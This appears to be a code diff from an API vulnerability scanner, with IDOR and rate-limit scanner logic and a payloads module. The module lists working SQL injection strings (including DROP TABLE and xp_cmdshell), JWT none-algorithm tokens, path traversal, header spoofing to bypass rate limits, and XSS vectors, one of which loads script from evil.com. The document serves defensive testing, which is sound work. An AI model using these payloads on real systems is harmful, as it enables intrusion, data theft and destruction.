||||||
|
string_test = self._test_string_id_manipulation(extracted_ids)
|
||||||
|
if string_test["vulnerable"]:
|
||||||
|
return string_test
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"ids_tested": len(extracted_ids),
|
||||||
|
"description": "ID enumeration not possible or blocked",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _extract_ids_from_response(self) -> list[Any]:
|
||||||
|
"""
|
||||||
|
Extract potential IDs from API response
|
||||||
|
|
||||||
|
Looks for numeric IDs, UUIDs, and other identifier patterns.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[Any]: List of extracted IDs
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
response = self.make_request("GET", "/")
|
||||||
|
|
||||||
|
if response.status_code != 200:
|
||||||
|
return []
|
||||||
|
|
||||||
|
response_text = response.text
|
||||||
|
|
||||||
|
uuid_pattern = r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
|
||||||
|
uuids = re.findall(uuid_pattern, response_text, re.IGNORECASE)
|
||||||
|
|
||||||
|
numeric_id_pattern = r'"id"\s*:\s*(\d+)'
|
||||||
|
numeric_ids = re.findall(numeric_id_pattern, response_text)
|
||||||
|
|
||||||
|
ids = []
|
||||||
|
ids.extend(uuids[:3])
|
||||||
|
ids.extend([int(nid) for nid in numeric_ids[:3]])
|
||||||
|
|
||||||
|
return ids
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _test_numeric_id_manipulation(
|
||||||
|
self, extracted_ids: list[Any]
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test numeric ID manipulation for IDOR
|
||||||
|
|
||||||
|
Args:
|
||||||
|
extracted_ids: List of IDs extracted from responses
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Numeric ID manipulation test results
|
||||||
|
"""
|
||||||
|
numeric_ids = [
|
||||||
|
id_val for id_val in extracted_ids if isinstance(id_val, int)
|
||||||
|
]
|
||||||
|
|
||||||
|
if not numeric_ids:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "No numeric IDs to test",
|
||||||
|
}
|
||||||
|
|
||||||
|
base_id = numeric_ids[0]
|
||||||
|
|
||||||
|
test_ids = IDORPayloads.NUMERIC_ID_MANIPULATIONS
|
||||||
|
|
||||||
|
accessible_unauthorized = []
|
||||||
|
|
||||||
|
for test_id in test_ids:
|
||||||
|
if test_id == base_id:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = self.make_request("GET", f"/{test_id}")
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
accessible_unauthorized.append(
|
||||||
|
{
|
||||||
|
"id": test_id,
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"response_length": len(response.text),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if accessible_unauthorized:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"vulnerability_type": "Numeric ID Enumeration",
|
||||||
|
"base_id": base_id,
|
||||||
|
"unauthorized_access": accessible_unauthorized,
|
||||||
|
"count": len(accessible_unauthorized),
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"numeric_ids_tested": len(test_ids),
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_string_id_manipulation(
|
||||||
|
self, extracted_ids: list[Any]
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test string/UUID ID manipulation for IDOR
|
||||||
|
|
||||||
|
Args:
|
||||||
|
extracted_ids: List of IDs extracted from responses
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: String ID manipulation test results
|
||||||
|
"""
|
||||||
|
string_ids = [
|
||||||
|
id_val for id_val in extracted_ids if isinstance(id_val, str)
|
||||||
|
]
|
||||||
|
|
||||||
|
if not string_ids:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "No string IDs to test",
|
||||||
|
}
|
||||||
|
|
||||||
|
test_ids = IDORPayloads.STRING_ID_MANIPULATIONS
|
||||||
|
|
||||||
|
accessible_unauthorized = []
|
||||||
|
|
||||||
|
for test_id in test_ids:
|
||||||
|
try:
|
||||||
|
response = self.make_request("GET", f"/{test_id}")
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
accessible_unauthorized.append(
|
||||||
|
{
|
||||||
|
"id": test_id,
|
||||||
|
"status_code": response.status_code,
|
||||||
|
"response_length": len(response.text),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if accessible_unauthorized:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"vulnerability_type": "String ID Manipulation",
|
||||||
|
"unauthorized_access": accessible_unauthorized,
|
||||||
|
"count": len(accessible_unauthorized),
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"string_ids_tested": len(test_ids),
|
||||||
|
}
|
||||||
|
|
||||||
|
def _test_predictable_id_patterns(self) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Test if IDs follow predictable patterns
|
||||||
|
|
||||||
|
Predictable IDs (sequential, timestamps) enable enumeration attacks.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, Any]: Predictable ID pattern test results
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
ids1 = self._extract_ids_from_response()
|
||||||
|
|
||||||
|
ids2 = self._extract_ids_from_response()
|
||||||
|
|
||||||
|
numeric_ids1 = [id for id in ids1 if isinstance(id, int)]
|
||||||
|
numeric_ids2 = [id for id in ids2 if isinstance(id, int)]
|
||||||
|
|
||||||
|
if len(numeric_ids1) >= 2:
|
||||||
|
diff1 = abs(numeric_ids1[1] - numeric_ids1[0])
|
||||||
|
|
||||||
|
if len(numeric_ids2) >= 2:
|
||||||
|
diff2 = abs(numeric_ids2[1] - numeric_ids2[0])
|
||||||
|
|
||||||
|
if diff1 == diff2 and diff1 == 1:
|
||||||
|
return {
|
||||||
|
"vulnerable": True,
|
||||||
|
"pattern_type": "Sequential IDs",
|
||||||
|
"id_difference": diff1,
|
||||||
|
"example_ids": numeric_ids1[:3],
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"description": "No predictable ID patterns detected",
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
"vulnerable": False,
|
||||||
|
"error": str(e),
|
||||||
|
"description": "Error testing ID patterns",
|
||||||
|
}
|
||||||
|
|
||||||
|
def _create_vulnerable_result(
|
||||||
|
self,
|
||||||
|
details: str,
|
||||||
|
evidence: dict[str, Any],
|
||||||
|
severity: Severity = Severity.HIGH,
|
||||||
|
recommendations: list[str] | None = None,
|
||||||
|
) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Create a vulnerable scan result
|
||||||
|
|
||||||
|
Args:
|
||||||
|
details: Vulnerability description
|
||||||
|
evidence: Evidence dictionary
|
||||||
|
severity: Vulnerability severity
|
||||||
|
recommendations: List of remediation recommendations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Vulnerable result
|
||||||
|
"""
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name=TestType.IDOR,
|
||||||
|
status=ScanStatus.VULNERABLE,
|
||||||
|
severity=severity,
|
||||||
|
details=details,
|
||||||
|
evidence_json=evidence,
|
||||||
|
recommendations_json=recommendations or [],
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,463 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Security testing payloads for various attack vectors
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class SQLiPayloads:
|
||||||
|
"""
|
||||||
|
SQL Injection test payloads covering various database types and techniques
|
||||||
|
"""
|
||||||
|
|
||||||
|
ERROR_SIGNATURES = {
|
||||||
|
"mysql": [
|
||||||
|
"sql syntax",
|
||||||
|
"mysql_fetch",
|
||||||
|
"mysql_num_rows",
|
||||||
|
"warning: mysql",
|
||||||
|
"mysqli",
|
||||||
|
"mysql error",
|
||||||
|
"mysql_",
|
||||||
|
],
|
||||||
|
"postgres": [
|
||||||
|
"postgresql",
|
||||||
|
"pg_query",
|
||||||
|
"pg_exec",
|
||||||
|
"error: syntax error",
|
||||||
|
"pg_",
|
||||||
|
"pgsql",
|
||||||
|
"postgres error",
|
||||||
|
],
|
||||||
|
"mssql": [
|
||||||
|
"odbc sql server",
|
||||||
|
"sqlserver jdbc driver",
|
||||||
|
"msg ",
|
||||||
|
"sqlexception",
|
||||||
|
"microsoft sql",
|
||||||
|
"sql server",
|
||||||
|
],
|
||||||
|
"oracle": [
|
||||||
|
"ora-",
|
||||||
|
"oracle.jdbc",
|
||||||
|
"oracle error",
|
||||||
|
"oracle database",
|
||||||
|
"pl/sql",
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
BASIC_AUTHENTICATION_BYPASS = [
|
||||||
|
"' OR '1'='1",
|
||||||
|
"' OR 1=1--",
|
||||||
|
"' OR 1=1#",
|
||||||
|
"' OR 1=1/*",
|
||||||
|
"admin'--",
|
||||||
|
"admin'#",
|
||||||
|
"admin'/*",
|
||||||
|
"' or 1=1--",
|
||||||
|
"' or 1=1#",
|
||||||
|
"' or 1=1/*",
|
||||||
|
") or '1'='1--",
|
||||||
|
") or ('1'='1--",
|
||||||
|
]
|
||||||
|
|
||||||
|
UNION_BASED = [
|
||||||
|
"' UNION SELECT NULL--",
|
||||||
|
"' UNION SELECT NULL,NULL--",
|
||||||
|
"' UNION SELECT NULL,NULL,NULL--",
|
||||||
|
"' UNION ALL SELECT NULL--",
|
||||||
|
"' UNION ALL SELECT NULL,NULL--",
|
||||||
|
"1' UNION SELECT NULL,NULL,NULL--",
|
||||||
|
"1' UNION ALL SELECT table_name,NULL FROM information_schema.tables--",
|
||||||
|
"' UNION SELECT username,password FROM users--",
|
||||||
|
"' UNION SELECT NULL,version()--",
|
||||||
|
"' UNION SELECT NULL,database()--",
|
||||||
|
]
|
||||||
|
|
||||||
|
TIME_BASED_BLIND = [
|
||||||
|
"'; WAITFOR DELAY '0:0:5'--",
|
||||||
|
"1'; WAITFOR DELAY '0:0:5'--",
|
||||||
|
"'; SELECT SLEEP(5)--",
|
||||||
|
"1'; SELECT SLEEP(5)--",
|
||||||
|
"'; BENCHMARK(5000000,MD5('test'))--",
|
||||||
|
"1' AND SLEEP(5)--",
|
||||||
|
"1' OR SLEEP(5)--",
|
||||||
|
"'; pg_sleep(5)--",
|
||||||
|
"1'; pg_sleep(5)--",
|
||||||
|
]
|
||||||
|
|
||||||
|
BOOLEAN_BASED_BLIND = [
|
||||||
|
"1' AND '1'='1",
|
||||||
|
"1' AND '1'='2",
|
||||||
|
"1' AND 1=1--",
|
||||||
|
"1' AND 1=2--",
|
||||||
|
"1' AND SUBSTRING(version(),1,1)='5'--",
|
||||||
|
"1' AND ASCII(SUBSTRING(database(),1,1))>97--",
|
||||||
|
"' AND (SELECT COUNT(*) FROM users)>0--",
|
||||||
|
"' AND (SELECT LENGTH(database()))>0--",
|
||||||
|
]
|
||||||
|
|
||||||
|
ERROR_BASED = [
|
||||||
|
"' AND 1=CONVERT(int,(SELECT @@version))--",
|
||||||
|
"' AND 1=CAST((SELECT @@version) AS int)--",
|
||||||
|
"' AND extractvalue(1,concat(0x7e,version()))--",
|
||||||
|
"' AND updatexml(1,concat(0x7e,version()),1)--",
|
||||||
|
"' AND exp(~(SELECT * FROM (SELECT 1)x))--",
|
||||||
|
"' OR 1 GROUP BY CONCAT_WS(0x3a,version(),floor(rand()*2)) HAVING MIN(0)--",
|
||||||
|
]
|
||||||
|
|
||||||
|
STACKED_QUERIES = [
|
||||||
|
"'; DROP TABLE users--",
|
||||||
|
"'; INSERT INTO users VALUES('hacker','password')--",
|
||||||
|
"'; UPDATE users SET password='hacked'--",
|
||||||
|
"'; EXEC xp_cmdshell('whoami')--",
|
||||||
|
"'; CREATE TABLE test(id INT)--",
|
||||||
|
]
|
||||||
|
|
||||||
|
COMMENT_VARIATIONS = [
|
||||||
|
"admin'--",
|
||||||
|
"admin'#",
|
||||||
|
"admin'/*",
|
||||||
|
"admin'-- -",
|
||||||
|
"admin';--",
|
||||||
|
"admin';#",
|
||||||
|
]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_all_payloads(cls) -> list[str]:
|
||||||
|
"""
|
||||||
|
Get all SQLi payloads combined
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[str]: All SQLi test payloads
|
||||||
|
"""
|
||||||
|
return (
|
||||||
|
cls.BASIC_AUTHENTICATION_BYPASS + cls.UNION_BASED +
|
||||||
|
cls.TIME_BASED_BLIND + cls.BOOLEAN_BASED_BLIND +
|
||||||
|
cls.ERROR_BASED + cls.STACKED_QUERIES +
|
||||||
|
cls.COMMENT_VARIATIONS
|
||||||
|
)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_error_signatures(cls) -> dict[str, list[str]]:
|
||||||
|
"""
|
||||||
|
Get error signatures for detecting database types
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, list[str]]: Database error signature mappings
|
||||||
|
"""
|
||||||
|
return cls.ERROR_SIGNATURES
|
||||||
|
|
||||||
|
|
||||||
|
class AuthPayloads:
|
||||||
|
"""
|
||||||
|
Authentication and authorization test payloads
|
||||||
|
"""
|
||||||
|
|
||||||
|
JWT_NONE_ALGORITHM_VARIANTS = [
|
||||||
|
"none",
|
||||||
|
"None",
|
||||||
|
"NONE",
|
||||||
|
"nOnE",
|
||||||
|
"NoNe",
|
||||||
|
"NOne",
|
||||||
|
]
|
||||||
|
|
||||||
|
COMMON_AUTH_HEADERS = [
|
||||||
|
"Authorization",
|
||||||
|
"X-API-Key",
|
||||||
|
"X-Auth-Token",
|
||||||
|
"X-Access-Token",
|
||||||
|
"Bearer",
|
||||||
|
"Token",
|
||||||
|
"API-Key",
|
||||||
|
"ApiKey",
|
||||||
|
"Access-Token",
|
||||||
|
"Session",
|
||||||
|
"X-Session-Token",
|
||||||
|
"X-CSRF-Token",
|
||||||
|
"Authentication",
|
||||||
|
]
|
||||||
|
|
||||||
|
INVALID_TOKEN_FORMATS = [
|
||||||
|
"", # Empty token
|
||||||
|
"invalid",
|
||||||
|
"null",
|
||||||
|
"undefined",
|
||||||
|
"Bearer", # Just the prefix
|
||||||
|
"Bearer ", # Prefix with space
|
||||||
|
"1234567890",
|
||||||
|
"admin",
|
||||||
|
"../../../etc/passwd",
|
||||||
|
"' OR '1'='1",
|
||||||
|
]
|
||||||
|
|
||||||
|
JWT_ATTACKS = [
|
||||||
|
"eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.", # None algorithm
|
||||||
|
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", # No signature
|
||||||
|
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30", # Empty payload
|
||||||
|
]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_all_headers(cls) -> list[str]:
|
||||||
|
"""
|
||||||
|
Get all auth header names
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[str]: All authentication header variations
|
||||||
|
"""
|
||||||
|
return cls.COMMON_AUTH_HEADERS
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_jwt_none_variants(cls) -> list[str]:
|
||||||
|
"""
|
||||||
|
Get JWT none algorithm case variations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[str]: None algorithm variations for testing
|
||||||
|
"""
|
||||||
|
return cls.JWT_NONE_ALGORITHM_VARIANTS
|
||||||
|
|
||||||
|
|
||||||
|
class IDORPayloads:
|
||||||
|
"""
|
||||||
|
Insecure Direct Object Reference (IDOR) test patterns
|
||||||
|
"""
|
||||||
|
|
||||||
|
NUMERIC_ID_MANIPULATIONS = [
|
||||||
|
0,
|
||||||
|
-1,
|
||||||
|
1,
|
||||||
|
2,
|
||||||
|
9999,
|
||||||
|
99999,
|
||||||
|
999999,
|
||||||
|
]
|
||||||
|
|
||||||
|
STRING_ID_MANIPULATIONS = [
|
||||||
|
"admin",
|
||||||
|
"root",
|
||||||
|
"test",
|
||||||
|
"user",
|
||||||
|
"1",
|
||||||
|
"0",
|
||||||
|
"../../../etc/passwd",
|
||||||
|
"..%2F..%2F..%2Fetc%2Fpasswd",
|
||||||
|
]
|
||||||
|
|
||||||
|
UUID_MANIPULATIONS = [
|
||||||
|
"00000000-0000-0000-0000-000000000000",
|
||||||
|
"11111111-1111-1111-1111-111111111111",
|
||||||
|
"ffffffff-ffff-ffff-ffff-ffffffffffff",
|
||||||
|
]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_numeric_tests(cls) -> list[int]:
|
||||||
|
"""
|
||||||
|
Get numeric ID test values
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[int]: Numeric ID manipulation values
|
||||||
|
"""
|
||||||
|
return cls.NUMERIC_ID_MANIPULATIONS
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_string_tests(cls) -> list[str]:
|
||||||
|
"""
|
||||||
|
Get string ID test values
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[str]: String ID manipulation values
|
||||||
|
"""
|
||||||
|
return cls.STRING_ID_MANIPULATIONS
|
||||||
|
|
||||||
|
|
||||||
|
class RateLimitBypassPayloads:
|
||||||
|
"""
|
||||||
|
Rate limiting bypass techniques and patterns
|
||||||
|
"""
|
||||||
|
|
||||||
|
HEADER_PATTERNS = {
|
||||||
|
"limit": r"x-ratelimit-limit|x-rate-limit-limit|ratelimit-limit",
|
||||||
|
"remaining": r"x-ratelimit-remaining|x-rate-limit-remaining|ratelimit-remaining",
|
||||||
|
"reset": r"x-ratelimit-reset|x-rate-limit-reset|ratelimit-reset",
|
||||||
|
"retry_after": r"retry-after",
|
||||||
|
}
|
||||||
|
|
||||||
|
ENDPOINT_VARIATIONS = [
|
||||||
|
"/",
|
||||||
|
"//",
|
||||||
|
"/./",
|
||||||
|
"/.",
|
||||||
|
"/?",
|
||||||
|
"/?dummy=1",
|
||||||
|
"/?test=1",
|
||||||
|
"/;",
|
||||||
|
"/%2e",
|
||||||
|
"/%00",
|
||||||
|
]
|
||||||
|
|
||||||
|
HEADER_SPOOFING = [
|
||||||
|
{
|
||||||
|
"X-Forwarded-For": "127.0.0.1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"X-Forwarded-For": "8.8.8.8"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"X-Real-IP": "127.0.0.1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"X-Originating-IP": "127.0.0.1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"X-Remote-IP": "127.0.0.1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"X-Client-IP": "127.0.0.1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"CF-Connecting-IP": "127.0.0.1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"True-Client-IP": "127.0.0.1"
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
USER_AGENT_ROTATION = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15",
|
||||||
|
"curl/7.64.1",
|
||||||
|
"python-requests/2.31.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_bypass_headers(cls) -> list[dict[str, str]]:
|
||||||
|
"""
|
||||||
|
Get rate limit bypass header combinations
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[dict[str, str]]: Header combinations for testing
|
||||||
|
"""
|
||||||
|
return cls.HEADER_SPOOFING
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_header_patterns(cls) -> dict[str, str]:
|
||||||
|
"""
|
||||||
|
Get rate limit header detection patterns
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict[str, str]: Regex patterns for rate limit headers
|
||||||
|
"""
|
||||||
|
return cls.HEADER_PATTERNS
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_endpoint_variations(cls) -> list[str]:
|
||||||
|
"""
|
||||||
|
Get endpoint variations for bypass testing
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[str]: Endpoint path variations
|
||||||
|
"""
|
||||||
|
return cls.ENDPOINT_VARIATIONS
|
||||||
|
|
||||||
|
|
||||||
|
class XSSPayloads:
|
||||||
|
"""
|
||||||
|
Cross-Site Scripting (XSS) test payloads for potential future testing
|
||||||
|
"""
|
||||||
|
|
||||||
|
BASIC_XSS = [
|
||||||
|
"<script>alert('XSS')</script>",
|
||||||
|
"<script>alert(1)</script>",
|
||||||
|
"<script>confirm('XSS')</script>",
|
||||||
|
"<script>prompt('XSS')</script>",
|
||||||
|
"<script src='http://evil.com/xss.js'></script>",
|
||||||
|
]
|
||||||
|
|
||||||
|
EVENT_HANDLER_XSS = [
|
||||||
|
"<img src=x onerror=alert('XSS')>",
|
||||||
|
"<img src=x onerror=alert(1)>",
|
||||||
|
"<body onload=alert('XSS')>",
|
||||||
|
"<input onfocus=alert('XSS') autofocus>",
|
||||||
|
"<select onfocus=alert('XSS') autofocus>",
|
||||||
|
"<textarea onfocus=alert('XSS') autofocus>",
|
||||||
|
"<keygen onfocus=alert('XSS') autofocus>",
|
||||||
|
"<video><source onerror=alert('XSS')>",
|
||||||
|
"<audio src=x onerror=alert('XSS')>",
|
||||||
|
"<details open ontoggle=alert('XSS')>",
|
||||||
|
]
|
||||||
|
|
||||||
|
SVG_XSS = [
|
||||||
|
"<svg/onload=alert('XSS')>",
|
||||||
|
"<svg onload=alert(1)>",
|
||||||
|
"<svg><script>alert('XSS')</script></svg>",
|
||||||
|
"<svg><animate onbegin=alert('XSS')>",
|
||||||
|
"<svg><set attributeName=onmouseover to=alert('XSS')>",
|
||||||
|
]
|
||||||
|
|
||||||
|
IFRAME_XSS = [
|
||||||
|
"<iframe src='javascript:alert(\"XSS\")'></iframe>",
|
||||||
|
"<iframe src=data:text/html,<script>alert('XSS')</script>></iframe>",
|
||||||
|
"<iframe srcdoc='<script>alert(\"XSS\")</script>'></iframe>",
|
||||||
|
]
|
||||||
|
|
||||||
|
ENCODED_XSS = [
|
||||||
|
"<script>alert(String.fromCharCode(88,83,83))</script>",
|
||||||
|
"<script>alert('XSS')</script>",
|
||||||
|
"%3Cscript%3Ealert('XSS')%3C/script%3E",
|
||||||
|
"<script>alert('XSS')</script>",
|
||||||
|
"\\x3cscript\\x3ealert('XSS')\\x3c/script\\x3e",
|
||||||
|
]
|
||||||
|
|
||||||
|
ATTRIBUTE_BREAKING = [
|
||||||
|
"' onmouseover='alert(\"XSS\")'",
|
||||||
|
"\" onmouseover=\"alert('XSS')\"",
|
||||||
|
"' onclick='alert(\"XSS\")' '",
|
||||||
|
"\" autofocus onfocus=\"alert('XSS')\"",
|
||||||
|
"'/><script>alert('XSS')</script>",
|
||||||
|
"\"/><script>alert('XSS')</script>",
|
||||||
|
]
|
||||||
|
|
||||||
|
FILTER_BYPASS = [
|
||||||
|
"<scr<script>ipt>alert('XSS')</scr</script>ipt>",
|
||||||
|
"<ScRiPt>alert('XSS')</sCrIpT>",
|
||||||
|
"<script>alert('XSS')//",
|
||||||
|
"<script>alert('XSS')<!--",
|
||||||
|
"<<script>alert('XSS')</script>",
|
||||||
|
"<script\x20type='text/javascript'>alert('XSS')</script>",
|
||||||
|
"<script\x0D\x0A>alert('XSS')</script>",
|
||||||
|
]
|
||||||
|
|
||||||
|
POLYGLOT_XSS = [
|
||||||
|
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
|
||||||
|
"'\"><script>alert(String.fromCharCode(88,83,83))</script>",
|
||||||
|
"-->'><script>alert(1)</script>",
|
||||||
|
"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></script>",
|
||||||
|
]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_all_payloads(cls) -> list[str]:
|
||||||
|
"""
|
||||||
|
Get all XSS test payloads combined
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[str]: All XSS test payloads
|
||||||
|
"""
|
||||||
|
return (
|
||||||
|
cls.BASIC_XSS + cls.EVENT_HANDLER_XSS + cls.SVG_XSS +
|
||||||
|
cls.IFRAME_XSS + cls.ENCODED_XSS +
|
||||||
|
cls.ATTRIBUTE_BREAKING + cls.FILTER_BYPASS +
|
||||||
|
cls.POLYGLOT_XSS
|
||||||
|
)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def get_basic_payloads(cls) -> list[str]:
|
||||||
|
"""
|
||||||
|
Get basic XSS test payloads
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[str]: Basic XSS payloads
|
||||||
|
"""
|
||||||
|
return cls.BASIC_XSS
|
||||||
|
|
@ -0,0 +1,354 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Rate limiting detection and bypass testing scanner
|
||||||
|
|
||||||
|
OWASP API4:2023
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from ..core.enums import (
|
||||||
|
ScanStatus,
|
||||||
|
Severity,
|
||||||
|
TestType,
|
||||||
|
)
|
||||||
|
from ..schemas.test_result_schemas import TestResultCreate
|
||||||
|
|
||||||
|
from .base_scanner import BaseScanner
|
||||||
|
from .payloads import RateLimitBypassPayloads
|
||||||
|
|
||||||
|
|
||||||
|
class RateLimitScanner(BaseScanner):
|
||||||
|
"""
|
||||||
|
Rate limiting and bypass vulnerabilities tests
|
||||||
|
"""
|
||||||
|
def scan(self) -> TestResultCreate:
|
||||||
|
"""
|
||||||
|
Execute rate limiting tests
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResultCreate: Scan result with findings
|
||||||
|
"""
|
||||||
|
rate_limit_info = self._detect_rate_limiting()
|
||||||
|
|
||||||
|
if not rate_limit_info["rate_limit_detected"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details =
|
||||||
|
"No rate limiting detected on target endpoint",
|
||||||
|
evidence = rate_limit_info,
|
||||||
|
recommendations = [
|
||||||
|
"Implement rate limiting to prevent abuse and DoS attacks",
|
||||||
|
"Use standard rate limit headers (X-RateLimit-Limit, X-RateLimit-Remaining)",
|
||||||
|
"Return 429 Too Many Requests when limits are exceeded",
|
||||||
|
"Include Retry-After header with 429 responses",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
if rate_limit_info["enforcement_status"] == "HEADERS_ONLY":
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details =
|
||||||
|
"Rate limit headers present but not enforced",
|
||||||
|
evidence = rate_limit_info,
|
||||||
|
severity = Severity.MEDIUM,
|
||||||
|
recommendations = [
|
||||||
|
"Enforce rate limits with 429 responses when thresholds are exceeded",
|
||||||
|
"Rate limit headers without enforcement provide false security",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
bypass_results = self._test_bypass_techniques()
|
||||||
|
|
||||||
|
if bypass_results["bypass_successful"]:
|
||||||
|
return self._create_vulnerable_result(
|
||||||
|
details =
|
||||||
|
f"Rate limiting bypassed using: {bypass_results['bypass_method']}",
|
||||||
|
evidence = {
|
||||||
|
"rate_limit_info": rate_limit_info,
|
||||||
|
"bypass_details": bypass_results,
|
||||||
|
},
|
||||||
|
severity = Severity.HIGH,
|
||||||
|
recommendations = [
|
||||||
|
f"Fix bypass vulnerability: {bypass_results['bypass_method']}",
|
||||||
|
"Do not trust client-provided IP headers (X-Forwarded-For, X-Real-IP)",
|
||||||
|
"Implement rate limiting at multiple layers (IP, user, API key)",
|
||||||
|
"Validate and sanitize all client-provided headers",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
return TestResultCreate(
|
||||||
|
test_name = TestType.RATE_LIMIT,
|
||||||
|
status = ScanStatus.SAFE,
|
||||||
|
severity = Severity.INFO,
|
||||||
|
details =
|
||||||
|
"Rate limiting properly implemented and enforced",
|
||||||
|
evidence_json = {
|
||||||
|
"rate_limit_info": rate_limit_info,
|
||||||
|
"bypass_attempts": bypass_results,
|
||||||
|
},
|
||||||
|
recommendations_json = [
|
||||||
|
"Rate limiting is properly configured",
|
||||||
|
"Continue monitoring for new bypass techniques",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
def _detect_rate_limiting(self,
|
||||||
|
test_request_count: int = 20
|
||||||
|
) -> dict[str,
|
||||||
|
Any]:
|
||||||
|
"""
|
||||||
|
Detect rate limiting by analyzing headers and response patterns
|
||||||
|
|
||||||
|
Based on industry research: checks for standard headers and 429 responses
|
||||||
